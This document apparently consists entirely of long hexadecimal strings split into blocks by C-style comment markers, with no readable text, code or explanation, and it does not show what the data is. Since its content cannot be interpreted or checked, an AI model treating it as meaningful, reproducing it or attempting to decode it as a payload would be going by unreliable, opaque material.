bde2d43be2addece8edbc002a8d9ce407be92ea21d6b65610558abde458f05060cd0fa530a435a61ffd5296091bcfe38f18ab55c4c17540afa14e36c2c9b00b1b2d362e4e3a514f486efa0f62bae3da0c38e0c4a1e03b365ebc9f1cfee71df0467229afbc756ac5370f21e5ac540a420ba76ebe0e0bca78fbfe521a8dd97a054ed1330a6c84213c39d8d940f78140834862716e25f966213393c5a4587978dec49f81e7df01ddecbc040daa34687d01786fe3c2e19b84afce240f975e33084dd27aff891ea0fb69ac1da1d386d8b75e27963110f449ff4f1fd14f8c91d7eef08b6a01f38b54f48aa1936691b7bc2ec68d46f33c5289d8731d7124461ff01cffb230d3747d2942e1d341c1719c7f577da296f06892905a219ccca9619362ebee82b5ac54922cabc2f3d08ae22fc80b0491b70dff9601464d43c4223732d6e4862bebd356dd98c329e1c838bf3174270f036d0b4e6b9dc3a0c748ccf54aabaf00939c06795b8fecbfdf050160f1d57112e61acd7d2006bac0f1f3a09d0a10533d00bc5023adad69ff0c48e4e3a62268fb5d63b0769bcbf848bd79b2057bbfbaa4d20463aaf7e3ab2668aa584eaa02265f395963ebe6b2a30702b489da1c949f099891b9bb909f293f2fcd250f25f7465548e8e1e9635ebdc930ae41030cc7c024160e29a97cf2f002f2215df1ef23692484b5661d60fa1b5c9625cc6a61a81782b6ce84f9f1226067d52270bb040fc00538b155c837aaa95ac63f966650ce6af87f9ee097db08fc23a184fee23b6d9b19285fbc3d5d6a7cc6a925d8f73adff343df0c4492163e536c828aa45e9be282f06d010074f36f02faf478ef1817a5332c393047ac17fd1a3e01bc287ecb019e7a9e05e958ae9048f8842255dc1d60dd8873c54f22ff6deeff29f4e7879cd7d63e2118e4e737113a49d9abdf818620c39c0ee6ba247c89dbc0a34e4b20f11401635e703e2c3196b7130760903be829ad20b962b6da50247645442511551d3de35fe38c570d1ac422131da4ac05644242f84e55926f7edb7ea4c584ce610a232dff72916665036fe20698438be7e3c0d15dc656336add0b167e5079d222baac38c784f27def2197efb5173342301c6c4390e837e055d226549fcdf164a09ef1dc645ebdd2559b70d021a72c17d73a0a93a754419381d5a6630aeb3b02511c5c3ccae2b37464cc3f1f4857e02efd408422b9f11d419861bd8579cc0a6909a8d4ce5162bdf12ae079e89e9c903f69a0ce7fb8bcff6d1fb417aa0885d700098dfc55c43d71e4e1892e06aca7b8c166949ca3f11afe8fe266827be78bbccef02ab62259c6734*/
/*25a5298da50d88f44134f212099815eac13c502f01ab44a2d4b77db1078fc65fb8ee3b226d4c545b116aeca3af88b826f281d70059c637b1cf83fd6c36647433ed3de90a2b7a74ccdb0dc7f843c562435c2df5fd153b0a1488aac590a2c12339fa71db23ea977043f6768b1e61f4fb516f2c86b04f1b5d466105d9fa03e1ed6b3139dfd7d587772bfdcca4954ffb9d45ddd3620bb6f575a2732b8c27e3b312c39e08f1f12da235d2152d0a0e06ab1273b5f59bc51515d38a9505cf7e3aa806d9c722babe475353ce02b0c28459293eecf8830bb34ad6b04c9ff11d502477b63a1aeca0a2f3d55d5533fd06a62b34f96ad6144a78c53f768c956a676cfbd2b7ed8e4cfca0efa7bedbe4ba703ab588544585a34043e23749f92823e0364ddffb13d28517712d2123494d0b1be6bec827ce776ba6b220f3ba5c67ab5a599eeac581df9258debb5278ec3b7c70ce93040d697d163a5e215764a15f275de4b41cb90fb20c33be786ce14040968fd3a6c78bd0420bf9c3b6a2d1b172244441a57eee94b995ffd32ee761133b31b2b3f9848f57a70d8a5098b499404b22e370149615e524e43cf9ec6b78469eab15f3982598192a8ef07ff2dadf01e23b25ccf7013032be72219f8bc2697e2643d0f03c6ed9771ed8b4e233668a49c45dbfa562f7368961aa5ef23461cdbf38f622267a9577975f816bbc4ab776dc2fcf5fdce46ec30f5430edc470bc508d03b951be4b43ad043804555bbb98dbddc0ed4efebcd0a193f4c293428ce2da3d9e49ac71fbf65f63f5046a48a8f5c20d0d29208e46b2507efafc84953ae68074994f5458cde7e0ef851f888e6b3b5af9dafcf545a12f558e7dd05375a6cd7604aecbd0d69f68b9f44ead39928bce9143487af104b78fe872d64c211346882ee0a26c7f097efc17802395f3099243e99272788aff1cb5bf435b25223c661639ec1a5c7db3890cab8eed561b249f804db58cb7f37523f10b3801247accb1f75313140cd1cc8474dbc95ce1fe4d73b59962b281a99ab209836ce60aad5f6f503bd11741e95bcda6bba144fef3fa20e794ca1ab701d8e21a878387d85190a5c308e90a8f265192be1f2984ca7d6fc3f0e980bde425dea249925ae0d541ea0e6e612fb9011b4510e65a585d084a04eccf4074442e9c934b4fad8c80202e9783fef7be0f6a65569dff8c0836ddd063d5b83787fb433b122bcc1b4a0970748d77e71decee963ea2c53ec6144a7033ab21a1fd12770fa6cfdad64aa72b15ffb52f28cfa3950f6cf36653e6d7c9541393df1bc8e49194f84fc543728ab947b4711e1263a3379595193b32c716e7f39eac5c2839a60b1e77b94d33c473a7fa00da4a88d370a0aa6e0f86e8aac596068ea19000b428d958b21e5cc94077e214c50f24a800d241de6aaecbb5f5baf298f0828689442ad6d7eb5de26517b52411f26ad0c5721715785aa109361a37bcc687968e79c5df75f36ac530f099f499dea046e53fef2de731719912d9404d7bee720b470eddd55e1dbc13b7c1b433209190303a5dc7b1aec6031b32dba181c7a3e514dca54532464f2db5b77b20fa6dba48fff5c2de79ca742f2ec63dd33b4974bdc99ddfa270470e57849b4bf65ecde574b4b80a98c2ad0808adf55ac7ccda0e0534f912f2e396290f7b03e0f907f6005c711c39e253b9d0423ce259f1894ecbc853fbd90fa899797ff370f0f5b97f287bd6439b580b36a8322c7a61c8710d7e21ac979aa3a644ba112f4bb2fa39cc16a4f9abf062edde87d150242509ec6467a22830a7f25c8151db18eb88052196338d828cbddaa26517fd65005398d1ddaa20fbcd8e51314f67d1eac3f90d77149a595d198a594a7a363b1abf58927ca3374a832266f5d35455f2190951935fe80eef386839a8407903300647f9fe8258dad32b8d015e7665d86be7199ecded530b136c5ff653154b87721bafdc4ae3b2263fe4b7ed589e0ca66e7b437fb38fe4d6b7992a70e3910a9b31877f204384c9430ea64cc30d96ad41f4bb465ddfc240126345311ac4ec41d254fdd8bd7a07be865545f1e4f5b2cc0943d62e13a6a37d04d356e457ccf83aebe8d41cdb52672dbfdd5a783d6c702020c545ee1eec4917d2733ee5923b6acc523f0b5aef41fedb5aac67511f721d132991050841e88722f3ce405b9faf1612c405221c9b2b1e82578b768f308eb4539bc2032605a3f84aff59de95d48c38c297a9ee2bcfc87e1602ce0999ab0f0801996c1f5702da414c3d7b7fc49abb4e1155eb20c5fc797d760f50e4ee768d1355b663d2446ee2b0974e367312107b07a300cb4dce3916026b32e612d15e5405559626528d43dadcf4be89b6d71033802b6d4b3f00e0c55ac7614f3a9d6337d4d72e3a9858b69d9607639f0dc7690d792c373307ee3a8e69eaf3b0f67e304aaa22ce591e5738736a3d698a5dbb2611eb53d2989181900ca8e07f13190cb6fa1e41a2e9da098a4280e410c8387c2e1030a43f4fcf538e53d697461d2be286d830f4147ace4454736181d8f658656206a9c3941f87c4bbe04b5cbfc48b221d3cd659cae1d3624d6d4817f28c6ebcd9f07e110207a8c58941d99f69203f3df2d4cce9e86e2d5a06fc692d095d495558fe753ef227953966f9bf913009e0afd12f2dc9edde5c317e38da2b08107719dd2e494227042e4ddbacfce1bd623fb2cc9f7b138f934893899e358ba7f44be080b626d61228738e013d7fcccc4281f38a7a68f2ab739387342f2b46edd1c3b45ba244916cbf001267e449f19544bb710b79cb4eed871bc0593a5fde8c7712b847f9a4fdf290648d5823bd*/
/*7e8296c9a33aedab405ebf802f36fa3b5b199eb91c9ab6f099f51af659d59615c0bfcf8e9bea243bc1a414b1047ea356ee4b326c7fc0b6de1f70ed9bae66c6ea4b3d2c6b98c648605d396eec160f7f9d5f4dc2f435ca7c73455da2b6ebe6f463b84b96fdfa867910d890e0cda19da257e8dcf91d6e3ff53f773a281a6be05006253103290eae62c162f4d6a50c8766b354417b10adfed7b310a66bcb4e2106804a969eef342422c57a10f753678b94e1988f9d47e3d3f17c228ab843c69b1a02851b2ee36440266239f8d679dd26518e1d34ea4e03bfcec2dd78fe5b0c91fec0360fab530fc81508ae956b0594c7b01eac66f5abc911c7a1226faa6f89617fcb3b508ec0b78e59b585f7252a6c31238d57a27f0da856eb9c3af6acc3b2e2b6c2e4603588cf925f05627d74ff0c8b09baf9b5462cec03e13684af940cb9d3ddb21cb79842685c1e4725580149b716ba560d8c132a19c7f5719984ba7d8561fdc3253e9b1a92b293aafdebd76f8aef58b390ebfd5df73309c940666b3c4b93b7564b65e058e893911ea2ed3e78680fea7a454355a64be05723a25bf73f344e65a336dce055b27d2fa1f291f79b94dcc7f6520b433179975fe1d6e2dd7ab5f3cedccbd5bcd08cbdec8a6ec52c7787d2b35f12686510c5ba0895194bebc1f368eaaf2fbf58775973724d3f4c41553a142ef2a440eaa16af7a850584a75a92c9ec7a194e0131baf34361656ede8a35dd782bdb2e14214ba4f1219188f618900f18429433791c4d4a1ea79847d42c07db7f7276531fcb7d76427020ad008e6a6cb31f3b61c0c9768151d752fc7b07262b33b78096dee470a60c84ab6b1a2a798331906106b3d3b35b12406a0f0b63625e79a93def4405f5d8a813a31fe005cc95c3757b3ce0c25aaacff4c17675ae7eb946af0e3c8bd394d0f79bda1a2f7d8ef270214b800987bdc8b02403eb5501eaa3c6413d3d16d4bd7fc7b2e11b16b428fed81ef3f53bb6824302a582c485ecfe7569347be9dbecf14acedd72d4102b14c16479d50a09200d6793c545bc29fe7d8923665eac149e6dab538e36ff835d37c0250b363f31a20985a2f36982a9518375792b005d01b299f82d873233e7d608c285ecbdf53cb8f9a493ceec00f079fa4cf22e2b943601fedc5614d687c3fe7b48045a8b539eab2fbd9b9683ae534e47817c148ad064abb946bfb08f3e0694edd67f65097cfa487ad6f1b8716cb0f947fed7f9d7237f7205b626f472e073f818455fa12ce544e7e0b1dc82d561c96df931ce35f9711a1fdd44b3a679743b079ee005ca07fcd22c8077ef4700910aaa9a3d82b2a5aa517310bc5aeba39de6cc3930787b16c1e44edcbc0266e123c840cfb2c2546f59d5a37900a96bc6230375eba83d463ae4df6eb58926dd6fc4d51887d4f9da0f740afbfd221b9f0e5a5b0d668aef4181bf2d0a901e11416d53fe2cb0a0d5c9c87a331e56acbdfec9a1ed4e74c829b2ece2ef2a9cc5171bec04c44b103a39b639e7d3945094fcb8502d9c8dd27ff9c664b3f33c78d03c0d63bddb30ae07486240d3c900c1765ed127a67e2376f70d78955d7314bbee3bc62da9a4fe14607933ec581134a1d33cb359ff3c0f5308739e04beea3db659acabe12e9143f822c05a4e3c7f1c3b51aa352bee685a2e128852d2ed57eae527de8eabad552faca1e168c86173a7024a8192f2b50b14eb92d04f6ce405fd9e5fff0ddbeca467f69e8e3b67d21973d069c2d834528edbb876fde8e71ba9d469b1303182345830d0853d9e504f67dbd3373842c3c621827513f542de983b093c782ec1b5315e10dcc003617c5d70b724183a423f8709c422d3d73994234799aba1f1ad5164f1307f06ef80612ccb941d33a5188841f120ab677a6d5649f3f9e3adb4a88906007f8b0517cae54010b0012eea70fec6cf74667deff9011cebdf1c90b2c4e75735028206351606393e42e3b90ddd3b7e461998d6700c3df47c3bdd440b2e5383136e9359198b04b826b50c0d925ff426d2ede1462e832e0eb407dd95c36a6c425721d9911756ef0dd48e274613f82804d5d9bdcb0e4ac6104b0d7ca76b585751236df9c97b3c08994b600ef24ece280e0cba7861e09004068174f6df084990d8ec81dc5f5f70f0f6457b42e5e49c6f2a45f18830a649b9aaa0177b52255932ef803b971be7e274697b5cdf29ece55985ad5ac6cff51817ded7b7bd7aee02ca5a39fb6d656d1ce5b3bd9c176228f2f7aa7eee38f0b714859163b7cdcaa9935bbdbfc2447f849e844fdfe06b28614e8a3cbc89641c3fc696b2643b31feb6def01af071dec004f49256fe41f9f46e65979a6d93bcf9de0041ef51a5f4b5c7c5ac2a19133c87e691cc1b64d237931299d4d75ca17359d14287b5f148c95319958ec823fd198127d450a4e17336dbf819f3c54035012f350cf23b0b77fc1316eb909fe818a4baabe187a537aaab4d3e64a82346171c5677aa2fd2c13466b4a6b709e6a5ff1569d7a95b7ae4dd0fb05900554d65a6b3e9026e53cd96c3baa25155265728dd643f8924b44a496cdbf9105a33970e6d2f8d2ab8c0caa3e8b3336faf9d7464fb20737c7c1474ec0158954b2dafd77469c986be17ed08efe966449a51af30c3c67ff6ecccb6d0f207bd54dcd73b27508fe9365cc80cebe8c2a94f6e5e522fcd2eeb18e4ebd7478b7123823e5778922fb33e4bbf74039eeb9da3464ccd399afd758a43c00836b0e8513e154533cf3e1fb68316c146239f2516e0eb1910b621fa295ab629e6cbcbdb7eeb9ac128ae49105482c4d012e7c905e8ab20633af0aeb8dba0f8b918c*/
/*9d4af592757cf607f6da54e5d01c080b29cc18bbc7caeddca828fa608fbb1775af59f7079ea280419520978620d9df312188054a47ad50f80f67731b9990f067fc38b2244806b5b980efb6f0124918e33c02d51c4a487733d6ffe8afc46a85e856e28975e5a8fe522ee151e05f5a4a4bbeeb1ca24f114b104c68dc64405fcf8d539595f4da28747da34c8c6e583ba50f7f6bee0b8b059231493fc2e2b88f7648cbf92fefd9e0be68ae5e35f90b3e8486d644afe7a51eb4330b5f282b6433f3a1d84f2c14b469edfceb46c2fb2140639456b095727c536a82f05d9e50301c97c9dcd13ba94606dbbeb6e1253f63b70debb0813b5d5f4ff87a83ac9aa8cbadb1582059a38334223857cbdab48e67e37f63f5c29cf0eebde5e32e9d5d63da0a492f5e62e6a48a9e754de21e25ddc11bf4aac79e8392a1415c3b435fa992fc1054cb1b0ca5741d0fe77a270e780c09a1d803c88832992d0daed591ef96645997ebba9987e52c352eb2707de5a711bb6c19226d1197b5350ccbcc6349473ff031c4a7944360c1dd0f81d52eac92d7298eeeffc0d31a185dbfb313c296281f745d924aecf767c1aa1ff23e6fa08cebd6364569198e33dcc1bfe789016bacf22605a10656603b008826a858def9c9063c05c9ca187485ffffbbdfcdc18a16bd77c795a8ca156a7d4b43df8e0a0e31466a3abd175db4a98506c9d30b9b0ba06f72ef59d1c906084f16c7906cb02f105db040cff49b262913903452300b79390753c19d100387256dfc19dc75d5679d68863b5ceafde597bb1b92bee17dfb8e4ce9ca77374025b934deb54d1bce770be54df93e96f83d4a3f6e7463670efbe2f09158fd05986a0f5540665ac3f14fd307c646456be22196bf45a4019212effa302b69b33346fa8baae2efc19ab7fc2ef060f83a9fe1b4f6f5de9bcd46d4d5c94d4c5169cb2c687c4600eafc84092403bb70aee267825e28bf571a4e132b106608ac12452a6b85684fa1a0af39778b4fb2dff7ef61bcc82fdff614e0ad47674a31705ce196749b10a6106204ff788acfd3894620d87408cf9cb2882c9d56304a908a86f65b2f54e836f8e93bb66da5dd78706ff1ebf5bfb81d814a644be243b5e904714fa16efb16beefc91a608aa2343fe9b0cf394932a0794874bb9fe434099a15400066ea33d95659a5469104d9de7d923d78c3b221a53b6a35830b4e8d673789108700d4963a4c9f0881fe5ff786c73ce89006bf9b6acf845ab57f8010384e58dcb8e9c0fc5a12a3c39442fa28c6e6cfce08492c7e47e1cca6bd9179e62a403eb1db279e58e724ebd03401ce78f1fff053d2c3f8c9c34d1868af9b0034a0f9c3b738a8c6095a65b99a480cf5cca2f4c8dae9e396e6b4221472179ac6fe9d9a8eb5082a8b10317df09dd2420ef32ab03529729b867d2e580f10745353de1f294f4347164ebfa0ce5fb8098fa4aa48ed33ad64dab0d3fd1ac229d15d13afe09dbbe884b50f73dacde00dd759a72ac7cbc00a4b4d2051a735247475904d7c4ff9525572d83cbb361907d4297f7a7531abe2d0c9fb99ecabb49e24bb1cd9fc357fea46ac810ac201f5c0a4ff24f6095b4c7e7f6e717ff122533695360cd180798a6cba590618c5ed54aae1128de0f7120f286c7baf2d063a2f8be4519be0e3de2c6bbea51799b291b63014e48d97bd51dd7e8dad1b9741fa5ba4292c030378a805e84d2aedca9b200e1a4a8d79acad9159ba9715166d8889260249db460c9fb3146815cd5d82e6df7a986267bacf38f8faa3be573f6b88d94bc0d799c93d0c7b9df47ca3ac150fe5f71c11bc8632938732a6872f266a725e6bd6d28af7abe319b72095f011301b19f9b55a3373d9b7929e8c6199387e2106fbe1ea01f0e038060c2320b07c9247817f5aa396c5b2626c0bdfdf9212e6c9dd18037a06db62a6b84bf559cc07d9fe2dbb0fa855c192f1015bedadefa21485f32b0bd4dc0a592ce473c056093da6fa19464c9fb1bbbe1aca04e9af1a6ae49e0999c61e136577bd8a26542142c85b251fc2e4648382c1613e3f897f810bafa6da4942fba79d304446a384f0354170dc3442167be0a10c29dc09e76786457fc71dbb7a41a97fff01ef41f10f37a853245c378955b9f4db7a23072ae4cebd65a2023542e81dca7079d0fb6d6850e334c24e48db1b477cc017b41fc9cd10ac5fb67d6fbcd47e1dc9d3ee0293ae15754596f833b9fcd572a2c1c823cdc3606c0649d0f9717176efec195d952c148f1aaeef6fe002f8552094fbfb928fff8557074a272cb21882a44a6a75ae3b05dae3c6a0d1bf7acea5b1c909edca7ade391fb173db035531b1a127bf579b4defaae7a98487e9cd18a9c00f4ed28ff4a4fe45c4f5a6ed061383e61f4c7e1f8300a678e1b8a2a2c4646a15aabb850f499725d4319a4a0820b56923465b2b12234dd3b7c28a57df8fd81d8a76ac22af92dac75e191786df8b420736119d09500ab086321f82bbdb1e3c38b60fb93fa5ed50588b552710fc473211a22ae8d85113f0fd8ab1d72e7bbd696fbf3f9b002e89cec9b299d2c53fcd715367f61529b7e5b59ae8714bda9a6907f1260f5a77b25b98806c4732c294604c3d21e3d2a70e7e5b819ede6cbdc0c3840f81c804a10e003ed52c1ba71d807ec24b83e07b3365937d9aaa10d010babba4fe88876683bc5d544cc4869ac4074d73a7e17736503d00d9162ca4bea0461e68b29b911dc2fa7d2a01bd29438d3b0c138c6f267beb419798bfecd7797e597491c03c9ed1eaa704d8028e8f07a54c4efde66d4c0b2219b012d587a5bb25233f0facb2222f6d9a2cb1ec90*/
/*af04f26fc6779183e9121a68d92dad1ac280d0ae6af00e90395db62bd5963c832b32e74985803e53bd8ab79b62628236fcb5a644d5f3c3455f61410aa5c215fe0a504f44d2797615184d8619f19113796a734e88cfd383eba43290e0a4c84eb724db60a16d71588be6761cbb2e0c0fbf3c305a84b246e97a5f3aee7cf47b0201cff237be08e9bad9d441f303b9812cfb871dd9ef891056fab1624d3c1bb1ddc1f5504fab2410b370b6d8ce68457543755068920315e5e003c0242c5349f30d054de65b3c98dd263a69b90741b53fa09ad9019d38eb3cf0e9c9d7c93a8a988e2c120c286532ec26b2e8a840e5f72d233f23eb811cf9fce32eb826bc042561101da3ca85c210fbe84fc29836fa3cc7cabffc818de53ef361d30e556ac9e2dd6e316751fe57ef0493b2391302f5d103e1bf348778ba063f6bf93156ef1449c7330f952d6c507e0c8570a5363333bcb26d2fac95a24af9b6b8b65ad10259c7b565ac789e2548b3a1ac41f02414697599b90be28676aa621d2c40cffa8a0619e3a93bf6613b060c33897ac7f5ef78a993e71255c1b8af5f0a9fa21f29950a0f650d651ec61a2a8f2c816c3c8a0d06a36d6e633ef7d2e926115e0eec20cc6f077ea57a506a2b1ee050b097669a7bc26a7bcf7ee5fcdeca678033aebb7db3464e7d126d9845857bbd9f8214303ef80460e1a1346e4b271f18af71ff177fd98fdc564a7f764e09414aff5675242b785d4281f7d6456ef7fec3ed362635451a796d2c452b0cb69df9bdb8523d875d03953855ad603cddc9d00c68e4209d8522b1fe8ef6bb9b71bfdf9f78d7a14a232014858159dc81c755adbf2cae38505f1b35d6cea7bae779adedd006396b3bbd7f063bf1978adb5ce3f7471f1c29ff45302b3fbb7cc750beb4eaa69ab0c53ffd02138371b9450d8e5401138b3516fad1e713592c36d054af2479cc1141bcf5db0cf6008bd80074421928740b0c7a3a959ead057039b999117f1d8f501a16f7686dc799513817436e72f3a8a994a6d497c7d68aeabf0a7fae02b80cc57db8cbd9e63d9485973093f46a5a928af848ec965a5abd6362ef66a6f1cb23f41419d4fcd23d154d544a096d0a8abfc40df3acd68f84afa2a7eb6506e124e82dbf80121bcfa323aa9f37dc010609a7ff29ea653a4bfc2eeb84891ad9cf75ec5ddb503df638ed1020e1b127939c376f802aebdf1d89807a125420b5a47db6933137bcef1efa5d639cc310ee2e1243f1810d19cb8c64d7483dd85be9e2ec6f2f1e241d057f0004d4431ab2bfe8b0eb9c05b2268356c2649124b0e7398d195156ba21e40bbdcd9da214157ee9b109fbb43e4c65d0ea6926eab2d9d6e383141b85e49901b8e5ca95d942e9ba6dcbcc6c91b61bdb15cced00af321bcecf460b972a52d7070d04c9b9dd20dcbce5ac508eba26f4f4ac6cc273e98a17dde7f50ccdf664a0cab6a28be4f864626806f66f7e7a617e0e84617cdac9ce28cd3eaa75beef1fb7112905fc6fa2d57e31de7d60bdecff9763bc202116b67dc2d3b1d099f6cb3a81d190428bcf8b48f20a8d5b084ea06a374ae3e7c75dc92c77a79fae0736aaa4a5ddf9bb9bf5409d1e11d4d28f17f397284a212f55f9c21d118f7f303f2041e45992e8cadea25ffd5e1b577801b3ec8144d89de83a0267b9d67a5ecd8f4a9920c8a9624e820b6dca5e8bba85736c27ee6db9717ee5db122540288bcd631ceacfb0c89cfd24c1bad8f25da2935aa545dde5552d43718d1b6ceebecf3d3e98b836ae6bcb16f7321ec05217fe1f7567135b5b6f170eed1d3237b3a30e20e168a6a9c872300ecd59c51b942e58b7e731b49b00b294e29bc91d4a1c80bb6612d1b483f21468db9ea4587b789c2807e3bcd15ef1d0a25beb69ca84556305ac49d0de9ea7a36b37ca5deeb71762aaac6b1c0282e7f11c912e30e8fe9e0c451fe67ef72f8c559c7f29cf1ee895d63c8a00b27f9673f5456460dac6ac019dc2b2f2f33df3af498173191e5fc41d40e517797937e8412318ab26dd430709fbaafde682a99d98441f8713a0570275e2796e30e6e2cb92e2c3e04683f665d4d1e9aa9e20680a90ca2e902f4a7cdfe5bd4701aa2962af9b50d692781c2fad4447f00f92ff1eb1c763f51427a12dc382e3a48c33ed5a34bfaf3a31f993fad6dde9ee8a6756fe85c0bf5c9b29014737fe5eab4f27092c725719862a88292af4b30e016287e7c49fdd355bf1a769ef0a3e30e68e7eb16b939edfbc1596bbb0b16bea23a80146783546b8b77d02c6b30c92ef9d6c53230764eed530c60742d91c540a6a308828568b9fd34e9651646512514a7f317e5a919c5573551118f398ff92ecfcc4f84d6f85ce2b9f4160b0ef25f3e2339bd992c741f7679865fb6a263a7d1588ace02b00100cdfaafa02407688f3315783679c14daf5122c8a812f26c4159c66f8b86997280d75de5eb4841cd9c0985a759ff32036328dd3e006d30b4651d5843843c6e4a7085b6332bd79e6cf819871c847368adec311f428de8de407135fd5c1c1b375c7898bdf7a1543b0096a6e9d465fd427a1317798db3dc312ab2d602386b941e62930061cca9f9a7408651891d9e216a572c6b1a1774612e29d6dcdb8a9abf1da9f8e497a9b5f0a2b97e0a692e35e5205eb8dd85a8387c0c1876c5108add65b449a08cf84ed901378f08b15384dc9573cb8a769057e23014e4cf2585e13a4df7842676283ff68996069d6933880c55d0df604255b51a94ed6e6c6ab4de80468ddbe8e43c8546830dda5ef68778c4f7cf48dcd9d1d3df09324437bd88217153f3cee59ced60e7ec3b0bbcf8c*/
/*f2b4e68da6736892aacbcded8a82d46065492ca7232a5df70c9b0e7e6d638e11f8265d5710ac58088dc1b8725accd04dba5745b5344e542bb15a2fb2379158bc1f047eb70f450e4c468b898e4f2e93ebd133b22ab7f37a3b7961f0a9d7b8eff2bd060bf2b3ba6fb8b8faba56677757711ccec54fd506f90af5acc04dcd256baf181884c507e8971ffac0550873bbe96554c7fbb6cb220877a5ea28b2c8a6547eeaef75bd0f770093f91a865d9211c648cda2ff7f8bdf5aacec2ba65196fd9769c9ec40ecec8a3a22964baefc811b347b8ae5c4f54a957ea588afc4ca8c08bd8919049428a7839ddb11c8a1e221ea4bf670692d4580530c719b830ba5ace15223f13fe6cb07acc08fe31cf643a8b6f933e50f97d582fb4f1937d9920692dff364640a7d0c62d92a8204e5a2f09bf0451532d4c9be61923da99ffcc101f96b8bcaf511b21f1bcf793783b5e1359376918e9222a39cc3b35168161e1f8ffd63f244f0a789f9e16e02edd280a3deaeeb49ed83ca5d768f5c24eb2e80fc82a7b3ec753ee66f71f5d24c71ecc4c4c98fc6e1d0aa57692d98b67421b319d3a59227acd394d94fe10ef73624e0146d2c7578566a641ce05e08c263a7af3c459fb0e4f5ffb1153413f9581d1abd9a55de8dcd41420ab4e690ccb950047dc8755a4a6ca2ef7034974594c17408ce3df865a5887cf4d4d29d3cbfc8da002b5b744e69bbf6086b3e937981790e4a860782e0b2f3868bd0e25014ac12c46ce7f510763a6c8371f0666146f030c1e9dd870cba8c2af2af87219d53d179c0d3a2d2fa5bd7a6f71679d25485b84efb3f2bb5c58af8e923a1db230b54d44e3c5f2d350097eaf4072b535f1739d5e188d5ef5a80d79e9ebb0d9d31be8c50bf4097a600c8de5a258d7c87c50c9d74f2e33865008efac765368d3fa4e083ccdbdf44dbc67cc7a395c2b3c945bf06f5f7e30872b7d580f39279a1992dae3017f4a8cd415c0925cb83bccddd08c40cceab5e41cf670fa10e3a888890cbe77ba4e03ac6d4ba7be2ea78b3c8774a6680839bb0b9f64db0b7e4dbc40eb5ef6d9d03fca7521963e4612a8bdc391ec26c04acfcbe38f56b497ac9be29c59d3577a34ead03f52fa60b6b8827912fac0bf92ba694c433c7e23000a786e31c1c0d8451457679f090778c4e25cdff158851e7bd7b3ce14aad1b50eef26c9e1bc1b43aff925d53c0e83170cf9ecf3137157c693e6890c58d57392836449ce4c7b377dd282da3a0c42e6416dc4d5423c3e4275d11533da9159e5e7be85695d32d9e4fbbf9cb990ff77629cad381a6392af765f69cbd825ffe03ecf9010c7bd2f3b6ca7364dc467b4f7ba2539377d8728e685ea8a3fd48d182b61791e36b5e299ddf3a076b0555cf566c62566603e49b450bac5c5d3ba1477a57d8864282891054eaf6d580ef897fdaefd0f98117d03b9a1b3a4036783b9119985908e201416e1d6ad922d339889aa2a09a8f95c4621bbe3f746faa9362845447652f04007c918224a66d9a9018276b5c64a5b0125751ff28f41e45a910aa039255fb864ab2d9975c6bf3395482ad3e7940f1183b51b4eec32de7c81666410826f0965bee852366cf24942df44af3adfd8a8d7f9678315a91751d06a7bd9052cf91074373538bc158fe790ef77867946abf4846be4cc89abf6a0dfaf9307cbd87fa49d486ed7baba8a35e19648c7fa8f0602f113fd36886a002604af8f0753f89e1c8a33fcc892b8a024a2493ac51159fc07b90e2e0c536d297408a60ac55a56e0bad952fa27090e0c2477b3330992fe64350f905039c6872f9c43c139557b431ccb676d9171ccff00e2cc08083cb36f68c3cfed97fefc7095d182dd69681eb10bd03a4c7aa913f5f966c62d7ed09699ec21ab903808287d42f14388c09919bfd48f044957e2dc0c347012e326fa1e889af16446eaa2d86998146b75564d66c8f499b43c79a6da6e855dd5a6c3f3588044b917bb82876934a08b1de0115f19baf5d5796c5f5ffd47f41accd2bba28c91d4af946c51dc1cb28fa48771d64020d17ea5672c101c907509b5e9a99a853d47bfd3975578228e21208eba030368065c2fec9adb2b68adab465135e07be09568561d542e2ba04211cd6d4fb3325d34f5bb3f538460e118b22c6ae5a5115437b2cc5c22d888c5e022d291e62281d702397f39cb5e5241a7773b92d94affe9f347116754537d2fa9d297a430e30b5b67f34bc6cb648b115a0708b1b3aaa01ce03d593c5608bc9ab8292e1f6dcf601c39fff63983eb65cd41562fc941d53e39453a8a3ae8205142a6b249857e38a53ea38fecf1535c8eaca68da8212ebbd647cc1338598a64636d571c99110d029b4d7035991599121e7c2c218261b8e9094cec1a247b6fdbac3b27903b12678d8ce731fe7b6a3f72628d82f0d6c6af3a8df97416d6235112c22320d25ad8709a9029fc8dfd7171e2fb62f948cc21b4f90cc8194c0d75b2a8b795b3226caa1c3e026966e3ce0f855f9c12fdae04920255f5e5e71f3339e311d55eaa0f1c48eb5ab955985cd537e39330bd1156dc500e7ca7513dea18cc591a1cd7c6c09ed78121a3da37c867a71209c7e2f762ef5f77488eaabd00aaeb6f725257973815f5181d6153dd82b648a8085a3cf92d06eae24bd7d92a20ed08ea5f8f6a318acb528abdb617661ed670459ab3bd344f9284c73423d0f1d0e3cc67ce8a63a9386803ef17e94b5423275ccbf8b34a8b76f66ce3de322c7f2a07c15d7f73f88d5713ae7037a1c254909717be11ae3f1ac12e691c8f4f552adaeeb5a28d69c592c7e17b1d3984c82e8be5648049412882a*/
/*7032934c3f1368d3a303c47d490b146d5879fd58e274debdcccfe2c589509509267adfabe6632f8f027b4cb65ee468546f7500210754f15cd80b4c748564b2062d45ba9d4af7777e5f2ad1677fe770c360d84457f13d691046f4431d35830cecdf8b4f1b8c40445ee67abb9601a2df2a52f2bba61532ec57038c3fd4d51f42cd2f6a7a95d075fca16a24c4aad109af9f4109f72a2537b248248f4d368173d8eacb5d2d26a8c9730b6cadb8423f66e63ed7684420749bb08830ce8a346acfa1cf1f144c417d578e236064776cf36893366d1ced45ca22c2a99013528e661c66810af5fd5bb76697263f83dd01ceb1aa7ed5fc4584dbbe150d3e9b9de74ae42ab414e0251e9c2713780f37e39c6b67f8636f97ab7274fab757b459c1e75874da2c8b06008a20ed0fb8be9b1c41eee5cee0f30f912b4de5cee244c52a710b92240e57f2169f03909966a65c304f92d186978af6a1cbf84ba783dcc80b2e7b38b28669b900b3aeec659f4ce2a492d279d5472afb113a9254e1af44a8c679319aeed21fa7deafa2bbb28c67b2da385b004f256c9cb74b33101ab517478cfc70e95efad72a0b2fc7ea5247ce5e12dc97f2641c454dbe7a2e5cf63462a426a1a0734e460c76dc70982f328ca0fa4b8ca454236f11f3c4148d083d6b276da9db397030bcf680d398f18c2a4b1d18b5ee8f9bc297750621c97e231b67231188d176e785cbc41d70af63914bd0fcbcbf6dcd6fef61fc5e48b602d7f99f41c1f791fb50fb174ed70dcf795f0259a007e755301388bcf007cde